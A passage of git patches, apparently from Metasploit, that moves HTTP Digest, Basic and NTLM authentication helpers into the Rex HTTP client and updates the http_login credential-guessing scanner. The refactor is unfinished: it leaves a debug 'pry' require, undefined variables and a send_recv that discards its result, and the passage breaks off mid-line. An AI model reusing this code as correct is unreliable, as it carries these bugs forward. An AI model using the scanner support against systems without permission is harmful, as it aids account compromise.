"uri=\"#{path}\"", - "cnonce=\"#{@cnonce}\"", - "nc=#{'%08x' % @nonce_count}", - "algorithm=#{algstr}", - "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"", - # The spec says the qop value shouldn't be enclosed in quotes, but - # some versions of IIS require it and Apache accepts it. Chrome - # and Firefox both send it without quotes but IE does it this way. - # Use the non-compliant-but-everybody-does-it to be as compatible - # as possible by default. The user can override if they don't like - # it. - if qop.nil? then - elsif iis then - "qop=\"#{qop}\"" - else - "qop=#{qop}" - end, - if parameters.key? 'opaque' then - "opaque=\"#{parameters['opaque']}\"" - end - ].compact - - headers ={ 'Authorization' => auth.join(', ') } - headers.merge!(opts['headers']) if opts['headers'] - - - # Send main request with authentication - r = c.request_cgi(opts.merge({ - 'uri' => path, - 'method' => method, - 'headers' => headers })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - - return [resp,c] - - rescue ::Errno::EPIPE, ::Timeout::Error - end - end - - # # Authenticates to the remote host based on the most appropriate authentication method, # and returns the HTTP response. If there are multiple auth methods supported, then it @@ -435,6 +291,7 @@ module Exploit::Remote::HttpClient return res unless res.headers['WWW-Authenticate'] if res.headers['WWW-Authenticate'].include? "Basic" + opts['password']||= '' opts['basic_auth'] = opts['username'] + ":" + opts['password'] res = send_request_cgi(opts,timeout) return res @@ -442,7 +299,7 @@ module Exploit::Remote::HttpClient elsif res.headers['WWW-Authenticate'].include? "Digest" opts['DigestAuthUser'] = opts['username'] opts['DigestAuthPassword'] = opts['password'] - res, c = send_digest_request_cgi(opts,timeout) + res = send_digest_request_cgi(opts,timeout) return res elsif res.headers['WWW-Authenticate'].include? "Negotiate" @@ -461,122 +318,6 @@ module Exploit::Remote::HttpClient end - # - # Handles both generic Negotiate and NTLM providers - # This does not send back the client, instead it expects that you will - # handshake for each request sent. While this does create additional - # overhead on the wire, it makes dealing with the requests much easier - # from a code point of view. - # - # Options: - # - method: HTTP method, default: GET - # - headers: HTTP headers as a hash - # - provider: HTTP authentication provider, default: 'NTLM ' - # - username: The username to authenticate as - # - password: The password to authenticate with - # - def send_request_auth_negotiate(opts ={}, timeout =20) - ntlm_options = { - :signing => false, - :usentlm2_session => datastore['NTLM::UseNTLM2_session'], - :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], - :send_lm => datastore['NTLM::SendLM'], - :send_ntlm => datastore['NTLM::SendNTLM'] - } - - if opts['provider'] and opts['provider'].include? 'Negotiate' - provider = "Negotiate " - else - provider = 'NTLM ' - end - - opts['method']||= 'GET' - opts['headers']||= {} - - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = datastore['DOMAIN'] - - b64_blob = Rex::Text::encode_base64( - NTLM_UTILS::make_ntlmssp_blob_init( - domain_name, - workstation_name, - ntlmssp_flags - )) - - ntlm_message_1 = provider + b64_blob - to = opts['timeout'] || timeout - - begin - c = connect(opts) - - # First request to get the challenge - opts['headers']['Authorization'] = ntlm_message_1 - r = c.request_cgi(opts) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end - - return resp unless resp.code == 401 && resp.headers['WWW-Authenticate'] - - # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0] - return resp unless ntlm_challenge - - ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) - - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - default_name = blob_data[:default_name] || '' #netbios name - default_domain = blob_data[:default_domain] || '' #netbios domain - dns_host_name = blob_data[:dns_host_name] || '' #dns name - dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time - - spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - - resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses( - opts['username'], - opts['password'], - challenge_key, - domain_name, - default_name, - default_domain, - dns_host_name, - dns_domain_name, - chall_MsvAvTimestamp, - spnopt, - ntlm_options - ) - - ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth( - domain_name, - workstation_name, - opts['username'], - resp_lm, - resp_ntlm, - '', - ntlmssp_flags - ) - - ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) - - # Send the response - opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}" - r = c.request_cgi(opts) - resp = c.send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end - return resp - - rescue ::Errno::EPIPE, ::Timeout::Error - return nil - end - end - ## # # Wrappers for getters diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 0e10f7a5a2..6e45892469 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -37,6 +37,7 @@ require 'msf/core/exploit/ftp' require 'msf/core/exploit/tftp' require 'msf/core/exploit/telnet' require 'msf/core/exploit/ftpserver' +require 'msf/core/exploit/http/auth' require 'msf/core/exploit/http/client' require 'msf/core/exploit/http/server' require 'msf/core/exploit/smtp' @@ -94,3 +95,4 @@ require 'msf/core/exploit/winrm' # WebApp require 'msf/core/exploit/web' + diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 5a6b0ab9a6..570ed26c28 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -204,12 +204,11 @@ class Metasploit3 < Msf::Auxiliary def do_http_auth_ntlm(user,pass) begin - resp,c = send_http_auth_ntlm( + resp = send_request_auth_negotiate( 'uri' => @uri, 'username' => user, 'password' => pass ) - c.close return :abort if (resp.code == 404) if [200, 301, 302].include?(resp.code) @@ -262,7 +261,7 @@ class Metasploit3 < Msf::Auxiliary path = datastore['AUTH_URI'] || "/" begin if requesttype == "PUT" - res,c = send_digest_request_cgi({ + res= send_digest_request_cgi({ 'uri' => path, 'method' => requesttype, 'data' => 'Test123\r\n', @@ -271,7 +270,7 @@ class Metasploit3 < Msf::Auxiliary 'DigestAuthPassword' => pass }, 25) elsif requesttype == "PROPFIND" - res,c = send_digest_request_cgi({ + res = send_digest_request_cgi({ 'uri' => path, 'method' => requesttype, 'data' => '', @@ -281,7 +280,7 @@ class Metasploit3 < Msf::Auxiliary 'headers' => { 'Depth' => '0'} }, 25) else - res,c = send_digest_request_cgi({ + res= send_digest_request_cgi({ 'uri' => path, 'method' => requesttype, #'DigestAuthIIS' => false, @@ -300,7 +299,7 @@ class Metasploit3 < Msf::Auxiliary if ( [200, 301, 302].include?(res.code) ) or (res.code == 201) if ((res.code == 201) and (requesttype == "PUT")) print_good("Trying to delete #{path}") - del_res,c = send_digest_request_cgi({ + del_res = send_digest_request_cgi({ 'uri' => path, 'method' => 'DELETE', 'DigestAuthUser' => user, From c407fa9e74cb224eb1fd3390807084bcb6671b52 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 30 Jan 2013 16:37:32 -0600 Subject: [PATCH 067/448] add mixjn --- lib/msf/core/exploit/http/auth.rb | 279 ++++++++++++++++++++++++++++++ 1 file changed, 279 insertions(+) create mode 100644 lib/msf/core/exploit/http/auth.rb diff --git a/lib/msf/core/exploit/http/auth.rb b/lib/msf/core/exploit/http/auth.rb new file mode 100644 index 0000000000..aa707eddde --- /dev/null +++ b/lib/msf/core/exploit/http/auth.rb @@ -0,0 +1,279 @@ + + +module Msf + +### +# +# This module provides methods for exploiting an HTTP client by acting +# as an HTTP server. +# +### +module Exploit::Remote::HttpAuth + + + # + # Combine the user/pass into an auth string for the HTTP Client + # + def basic_auth + return if not datastore['BasicAuthUser'] + datastore['BasicAuthUser'] + ":" + (datastore['BasicAuthPass'] || '') + end + # + # Handles both generic Negotiate and NTLM providers + # This does not send back the client, instead it expects that you will + # handshake for each request sent. While this does create additional + # overhead on the wire, it makes dealing with the requests much easier + # from a code point of view. + # + # Options: + # - method: HTTP method, default: GET + # - headers: HTTP headers as a hash + # - provider: HTTP authentication provider, default: 'NTLM ' + # - username: The username to authenticate as + # - password: The password to authenticate with + # + def send_request_auth_negotiate(opts ={}, timeout =20) + ntlm_options = { + :signing => false, + :usentlm2_session => datastore['NTLM::UseNTLM2_session'], + :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], + :send_lm => datastore['NTLM::SendLM'], + :send_ntlm => datastore['NTLM::SendNTLM'] + } + + if opts['provider'] and opts['provider'].include? 'Negotiate' + provider = "Negotiate " + else + provider = 'NTLM ' + end + + opts['method']||= 'GET' + opts['headers']||= {} + + ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) + workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) + domain_name = datastore['DOMAIN'] + + b64_blob = Rex::Text::encode_base64( + NTLM_UTILS::make_ntlmssp_blob_init( + domain_name, + workstation_name, + ntlmssp_flags + )) + + ntlm_message_1 = provider + b64_blob + to = opts['timeout'] || timeout + + begin + c = connect(opts) + + # First request to get the challenge + opts['headers']['Authorization'] = ntlm_message_1 + r = c.request_cgi(opts) + resp = c.send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + + return resp unless resp.code == 401 && resp.headers['WWW-Authenticate'] + + # Get the challenge and craft the response + ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0] + return resp unless ntlm_challenge + + ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) + blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) + + challenge_key = blob_data[:challenge_key] + server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error + default_name = blob_data[:default_name] || '' #netbios name + default_domain = blob_data[:default_domain] || '' #netbios domain + dns_host_name = blob_data[:dns_host_name] || '' #dns name + dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain + chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time + + spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} + + resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses( + opts['username'], + opts['password'], + challenge_key, + domain_name, + default_name, + default_domain, + dns_host_name, + dns_domain_name, + chall_MsvAvTimestamp, + spnopt, + ntlm_options + ) + + ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth( + domain_name, + workstation_name, + opts['username'], + resp_lm, + resp_ntlm, + '', + ntlmssp_flags + ) + + ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) + + # Send the response + opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}" + r = c.request_cgi(opts) + resp = c.send_recv(r, to, true) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + c.close + return resp + + rescue ::Errno::EPIPE, ::Timeout::Error + return nil + end + end + + def send_digest_request_cgi(opts={}, timeout=20) + @nonce_count = 0 + + return [nil,nil] if not (datastore['DigestAuthUser'] or opts['DigestAuthUser']) + to = opts['timeout'] || timeout + + digest_user = datastore['DigestAuthUser'] || opts['DigestAuthUser'] || "" + digest_password = datastore['DigestAuthPassword'] || opts['DigestAuthPassword'] || "" + + method = opts['method'] + path = opts['uri'] + iis = true + if (opts['DigestAuthIIS'] == false or datastore['DigestAuthIIS'] == false) + iis = false + end + + begin + @nonce_count += 1 + + resp = opts['response'] + + if not resp + # Get authentication-challenge from server, and read out parameters required + c = connect(opts) + r = c.request_cgi(opts.merge({ + 'uri' => path, + 'method' => method })) + resp = c.send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + + if resp.code != 401 + return resp + end + return resp unless resp.headers['WWW-Authenticate'] + end + + # Don't anchor this regex to the beginning of string because header + # folding makes it appear later when the server presents multiple + # WWW-Authentication options (such as is the case with IIS configured + # for Digest or NTLM). + resp['www-authenticate'] =~ /Digest (.*)/ + + parameters = {} + $1.split(/,[[:space:]]*/).each do |p| + k, v = p.split("=", 2) + parameters[k] = v.gsub('"', '') + end + + qop = parameters['qop'] + + if parameters['algorithm'] =~ /(.*?)(-sess)?$/ + algorithm = case $1 + when 'MD5' then Digest::MD5 + when 'SHA1' then Digest::SHA1 + when 'SHA2' then Digest::SHA2 + when 'SHA256' then Digest::SHA256 + when 'SHA384' then Digest::SHA384 + when 'SHA512' then Digest::SHA512 + when 'RMD160' then Digest::RMD160 + else raise Error, "unknown algorithm \"#{$1}\"" + end + algstr = parameters["algorithm"] + sess = $2 + else + algorithm = Digest::MD5 + algstr = "MD5" + sess = false + end + + a1 = if sess then + [ + algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), + parameters['nonce'], + @cnonce + ].join ':' + else + "#{digest_user}:#{parameters['realm']}:#{digest_password}" + end + + ha1 = algorithm.hexdigest(a1) + ha2 = algorithm.hexdigest("#{method}:#{path}") + + request_digest = [ha1, parameters['nonce']] + request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop + request_digest << ha2 + request_digest = request_digest.join ':' + + # Same order as IE7 + auth = [ + "Digest username=\"#{digest_user}\"", + "realm=\"#{parameters['realm']}\"", + "nonce=\"#{parameters['nonce']}\"", + "uri=\"#{path}\"", + "cnonce=\"#{@cnonce}\"", + "nc=#{'%08x' % @nonce_count}", + "algorithm=#{algstr}", + "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"", + # The spec says the qop value shouldn't be enclosed in quotes, but + # some versions of IIS require it and Apache accepts it. Chrome + # and Firefox both send it without quotes but IE does it this way. + # Use the non-compliant-but-everybody-does-it to be as compatible + # as possible by default. The user can override if they don't like + # it. + if qop.nil? then + elsif iis then + "qop=\"#{qop}\"" + else + "qop=#{qop}" + end, + if parameters.key? 'opaque' then + "opaque=\"#{parameters['opaque']}\"" + end + ].compact + + headers ={ 'Authorization' => auth.join(', ') } + headers.merge!(opts['headers']) if opts['headers'] + + + # Send main request with authentication + r = c.request_cgi(opts.merge({ + 'uri' => path, + 'method' => method, + 'headers' => headers })) + resp = c.send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + + c.close + return resp + + rescue ::Errno::EPIPE, ::Timeout::Error + end + end + + + +end +end + From ef1fc58e5e1158391944c6dea9f16377c7468baf Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 31 Jan 2013 13:34:32 -0600 Subject: [PATCH 068/448] Remove mixin, start moving into Rex move auth awareness into rex itself --- lib/msf/core/auxiliary/web/http.rb | 1 - lib/msf/core/exploit/http/auth.rb | 279 --------------------------- lib/rex/proto/http/client.rb | 296 ++++++++++++++++++++++++++++- 3 files changed, 293 insertions(+), 283 deletions(-) delete mode 100644 lib/msf/core/exploit/http/auth.rb diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index ffb0385d36..0f88517176 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -10,7 +10,6 @@ require 'uri' module Msf class Auxiliary::Web::HTTP - include Exploit::Remote::HttpAuth class Request attr_accessor :url diff --git a/lib/msf/core/exploit/http/auth.rb b/lib/msf/core/exploit/http/auth.rb deleted file mode 100644 index aa707eddde..0000000000 --- a/lib/msf/core/exploit/http/auth.rb +++ /dev/null @@ -1,279 +0,0 @@ - - -module Msf - -### -# -# This module provides methods for exploiting an HTTP client by acting -# as an HTTP server. -# -### -module Exploit::Remote::HttpAuth - - - # - # Combine the user/pass into an auth string for the HTTP Client - # - def basic_auth - return if not datastore['BasicAuthUser'] - datastore['BasicAuthUser'] + ":" + (datastore['BasicAuthPass'] || '') - end - # - # Handles both generic Negotiate and NTLM providers - # This does not send back the client, instead it expects that you will - # handshake for each request sent. While this does create additional - # overhead on the wire, it makes dealing with the requests much easier - # from a code point of view. - # - # Options: - # - method: HTTP method, default: GET - # - headers: HTTP headers as a hash - # - provider: HTTP authentication provider, default: 'NTLM ' - # - username: The username to authenticate as - # - password: The password to authenticate with - # - def send_request_auth_negotiate(opts ={}, timeout =20) - ntlm_options = { - :signing => false, - :usentlm2_session => datastore['NTLM::UseNTLM2_session'], - :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], - :send_lm => datastore['NTLM::SendLM'], - :send_ntlm => datastore['NTLM::SendNTLM'] - } - - if opts['provider'] and opts['provider'].include? 'Negotiate' - provider = "Negotiate " - else - provider = 'NTLM ' - end - - opts['method']||= 'GET' - opts['headers']||= {} - - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = datastore['DOMAIN'] - - b64_blob = Rex::Text::encode_base64( - NTLM_UTILS::make_ntlmssp_blob_init( - domain_name, - workstation_name, - ntlmssp_flags - )) - - ntlm_message_1 = provider + b64_blob - to = opts['timeout'] || timeout - - begin - c = connect(opts) - - # First request to get the challenge - opts['headers']['Authorization'] = ntlm_message_1 - r = c.request_cgi(opts) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end - - return resp unless resp.code == 401 && resp.headers['WWW-Authenticate'] - - # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0] - return resp unless ntlm_challenge - - ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) - - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - default_name = blob_data[:default_name] || '' #netbios name - default_domain = blob_data[:default_domain] || '' #netbios domain - dns_host_name = blob_data[:dns_host_name] || '' #dns name - dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time - - spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - - resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses( - opts['username'], - opts['password'], - challenge_key, - domain_name, - default_name, - default_domain, - dns_host_name, - dns_domain_name, - chall_MsvAvTimestamp, - spnopt, - ntlm_options - ) - - ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth( - domain_name, - workstation_name, - opts['username'], - resp_lm, - resp_ntlm, - '', - ntlmssp_flags - ) - - ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) - - # Send the response - opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}" - r = c.request_cgi(opts) - resp = c.send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end - c.close - return resp - - rescue ::Errno::EPIPE, ::Timeout::Error - return nil - end - end - - def send_digest_request_cgi(opts={}, timeout=20) - @nonce_count = 0 - - return [nil,nil] if not (datastore['DigestAuthUser'] or opts['DigestAuthUser']) - to = opts['timeout'] || timeout - - digest_user = datastore['DigestAuthUser'] || opts['DigestAuthUser'] || "" - digest_password = datastore['DigestAuthPassword'] || opts['DigestAuthPassword'] || "" - - method = opts['method'] - path = opts['uri'] - iis = true - if (opts['DigestAuthIIS'] == false or datastore['DigestAuthIIS'] == false) - iis = false - end - - begin - @nonce_count += 1 - - resp = opts['response'] - - if not resp - # Get authentication-challenge from server, and read out parameters required - c = connect(opts) - r = c.request_cgi(opts.merge({ - 'uri' => path, - 'method' => method })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end - - if resp.code != 401 - return resp - end - return resp unless resp.headers['WWW-Authenticate'] - end - - # Don't anchor this regex to the beginning of string because header - # folding makes it appear later when the server presents multiple - # WWW-Authentication options (such as is the case with IIS configured - # for Digest or NTLM). - resp['www-authenticate'] =~ /Digest (.*)/ - - parameters = {} - $1.split(/,[[:space:]]*/).each do |p| - k, v = p.split("=", 2) - parameters[k] = v.gsub('"', '') - end - - qop = parameters['qop'] - - if parameters['algorithm'] =~ /(.*?)(-sess)?$/ - algorithm = case $1 - when 'MD5' then Digest::MD5 - when 'SHA1' then Digest::SHA1 - when 'SHA2' then Digest::SHA2 - when 'SHA256' then Digest::SHA256 - when 'SHA384' then Digest::SHA384 - when 'SHA512' then Digest::SHA512 - when 'RMD160' then Digest::RMD160 - else raise Error, "unknown algorithm \"#{$1}\"" - end - algstr = parameters["algorithm"] - sess = $2 - else - algorithm = Digest::MD5 - algstr = "MD5" - sess = false - end - - a1 = if sess then - [ - algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), - parameters['nonce'], - @cnonce - ].join ':' - else - "#{digest_user}:#{parameters['realm']}:#{digest_password}" - end - - ha1 = algorithm.hexdigest(a1) - ha2 = algorithm.hexdigest("#{method}:#{path}") - - request_digest = [ha1, parameters['nonce']] - request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop - request_digest << ha2 - request_digest = request_digest.join ':' - - # Same order as IE7 - auth = [ - "Digest username=\"#{digest_user}\"", - "realm=\"#{parameters['realm']}\"", - "nonce=\"#{parameters['nonce']}\"", - "uri=\"#{path}\"", - "cnonce=\"#{@cnonce}\"", - "nc=#{'%08x' % @nonce_count}", - "algorithm=#{algstr}", - "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"", - # The spec says the qop value shouldn't be enclosed in quotes, but - # some versions of IIS require it and Apache accepts it. Chrome - # and Firefox both send it without quotes but IE does it this way. - # Use the non-compliant-but-everybody-does-it to be as compatible - # as possible by default. The user can override if they don't like - # it. - if qop.nil? then - elsif iis then - "qop=\"#{qop}\"" - else - "qop=#{qop}" - end, - if parameters.key? 'opaque' then - "opaque=\"#{parameters['opaque']}\"" - end - ].compact - - headers ={ 'Authorization' => auth.join(', ') } - headers.merge!(opts['headers']) if opts['headers'] - - - # Send main request with authentication - r = c.request_cgi(opts.merge({ - 'uri' => path, - 'method' => method, - 'headers' => headers })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return nil - end - - c.close - return resp - - rescue ::Errno::EPIPE, ::Timeout::Error - end - end - - - -end -end - diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 0572ea02ff..ddc1d3b30e 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -2,6 +2,7 @@ require 'rex/socket' require 'rex/proto/http' require 'rex/text' +require 'pry' module Rex module Proto @@ -21,13 +22,15 @@ class Client # # Creates a new client instance # - def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil) + def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '') self.hostname = host self.port = port.to_i self.context = context self.ssl = ssl self.ssl_version = ssl_version self.proxies = proxies + self.username = username + self.password = password self.config = { 'read_max_data' => (1024*1024*1), 'vhost' => self.hostname, @@ -61,7 +64,17 @@ class Client 'uri_fake_end' => false, # bool 'uri_fake_params_start' => false, # bool 'header_folding' => false, # bool - 'chunked_size' => 0 # integer + 'chunked_size' => 0, # integer + # + # NTLM Options + # + 'usentlm2_session' => true, + 'use_ntlmv2' => true, + 'send_lm' => true, + 'send_ntlm' => true, + 'SendSPN' => true, + 'UseLMKey' => false, + 'domain' => 'WORKSTATION' } # This is not used right now... @@ -298,7 +311,7 @@ class Client req << set_raw_headers(c_rawh) req << set_body(pstr) - req + {:string => req , :opts => opts} end # @@ -347,7 +360,16 @@ class Client # to reuse an existing connection. # def send_recv(req, t = -1, persist=false) + res = _send_recv(req,t,persist) + if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds? + send_auth(res, opts, t, persist) + end + end + + def _send_recv(req, t = -1, persist=false) @pipeline = persist + opts = req[:opts] + req = req[:string] send_request(req, t) res = read_response(t) res.request = req.to_s if res @@ -362,6 +384,271 @@ class Client conn.put(req.to_s) end + def have_creds? + !(self.username.nil?) && self.username != '' + end + + def send_auth(res, opts, t, persist) + supported_auths = res.headers['WWW-Authenticate'] + if supported_auths.include? 'Basic' + opts['basic_auth'] = self.username.to_s + ':' + self.password.to_s + req = request_cgi(opts) + res = _send_recv(req,t,persist) + return res + elsif supported_auths.include? "Digest" + opts['DigestAuthUser'] = self.username.to_s + opts['DigestAuthPassword'] = self.password.to_s + temp_response = digest_auth(opts) + if temp_response.kind_of? Rex::Proto::Http::Response + res = temp_response + end + return res + elsif supported_auths.include? "NTLM" + opts['provider'] = 'NTLM' + temp_response = negotiate_auth(opts) + if temp_response.kind_of? Rex::Proto::Http::Response + res = temp_response + end + return res + elsif supported_auths.include? "Negotiate" + opts['provider'] = 'Negotiate' + temp_response = negotiate_auth(opts) + if temp_response.kind_of? Rex::Proto::Http::Response + res = temp_response + end + return res + end + end + + def digest_auth(opts={}) + @nonce_count = 0 + + digest_user = opts['DigestAuthUser'] || "" + digest_password = opts['DigestAuthPassword'] || "" + + method = opts['method'] + path = opts['uri'] + iis = true + if (opts['DigestAuthIIS'] == false or datastore['DigestAuthIIS'] == false) + iis = false + end + + begin + @nonce_count += 1 + + resp = opts['response'] + + if not resp + # Get authentication-challenge from server, and read out parameters required + r = request_cgi(opts.merge({ + 'uri' => path, + 'method' => method })) + resp = _send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + + if resp.code != 401 + return resp + end + return resp unless resp.headers['WWW-Authenticate'] + end + + # Don't anchor this regex to the beginning of string because header + # folding makes it appear later when the server presents multiple + # WWW-Authentication options (such as is the case with IIS configured + # for Digest or NTLM). + resp['www-authenticate'] =~ /Digest (.*)/ + + parameters = {} + $1.split(/,[[:space:]]*/).each do |p| + k, v = p.split("=", 2) + parameters[k] = v.gsub('"', '') + end + + qop = parameters['qop'] + + if parameters['algorithm'] =~ /(.*?)(-sess)?$/ + algorithm = case $1 + when 'MD5' then Digest::MD5 + when 'SHA1' then Digest::SHA1 + when 'SHA2' then Digest::SHA2 + when 'SHA256' then Digest::SHA256 + when 'SHA384' then Digest::SHA384 + when 'SHA512' then Digest::SHA512 + when 'RMD160' then Digest::RMD160 + else raise Error, "unknown algorithm \"#{$1}\"" + end + algstr = parameters["algorithm"] + sess = $2 + else + algorithm = Digest::MD5 + algstr = "MD5" + sess = false + end + + a1 = if sess then + [ + algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), + parameters['nonce'], + @cnonce + ].join ':' + else + "#{digest_user}:#{parameters['realm']}:#{digest_password}" + end + + ha1 = algorithm.hexdigest(a1) + ha2 = algorithm.hexdigest("#{method}:#{path}") + + request_digest = [ha1, parameters['nonce']] + request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop + request_digest << ha2 + request_digest = request_digest.join ':' + + # Same order as IE7 + auth = [ + "Digest username=\"#{digest_user}\"", + "realm=\"#{parameters['realm']}\"", + "nonce=\"#{parameters['nonce']}\"", + "uri=\"#{path}\"", + "cnonce=\"#{@cnonce}\"", + "nc=#{'%08x' % @nonce_count}", + "algorithm=#{algstr}", + "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"", + # The spec says the qop value shouldn't be enclosed in quotes, but + # some versions of IIS require it and Apache accepts it. Chrome + # and Firefox both send it without quotes but IE does it this way. + # Use the non-compliant-but-everybody-does-it to be as compatible + # as possible by default. The user can override if they don't like + # it. + if qop.nil? then + elsif iis then + "qop=\"#{qop}\"" + else + "qop=#{qop}" + end, + if parameters.key? 'opaque' then + "opaque=\"#{parameters['opaque']}\"" + end + ].compact + + headers ={ 'Authorization' => auth.join(', ') } + headers.merge!(opts['headers']) if opts['headers'] + + # Send main request with authentication + r = request_cgi(opts.merge({ + 'uri' => path, + 'method' => method, + 'headers' => headers })) + resp = _send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + + return resp + + rescue ::Errno::EPIPE, ::Timeout::Error + end + end + + def negotiate_auth(opts={}) + ntlm_options = { + :signing => false, + :usentlm2_session => self.config['usentlm2_session'], + :use_ntlmv2 => self.config['use_ntlmv2'], + :send_lm => self.config['send_lm'], + :send_ntlm => self.config['send_ntlm'] + } + + if opts['provider'] and opts['provider'].include? 'Negotiate' + provider = "Negotiate " + else + provider = 'NTLM ' + end + + opts['method']||= 'GET' + opts['headers']||= {} + + ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) + workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) + domain_name = self.config['domain'] + + b64_blob = Rex::Text::encode_base64( + NTLM_UTILS::make_ntlmssp_blob_init( + domain_name, + workstation_name, + ntlmssp_flags + )) + + ntlm_message_1 = provider + b64_blob + + begin + # First request to get the challenge + opts['headers']['Authorization'] = ntlm_message_1 + r = request_cgi(opts) + resp = _send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + + return resp unless resp.code == 401 && resp.headers['WWW-Authenticate'] + + # Get the challenge and craft the response + ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0] + return resp unless ntlm_challenge + + ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) + blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) + + challenge_key = blob_data[:challenge_key] + server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error + default_name = blob_data[:default_name] || '' #netbios name + default_domain = blob_data[:default_domain] || '' #netbios domain + dns_host_name = blob_data[:dns_host_name] || '' #dns name + dns_domain_name = 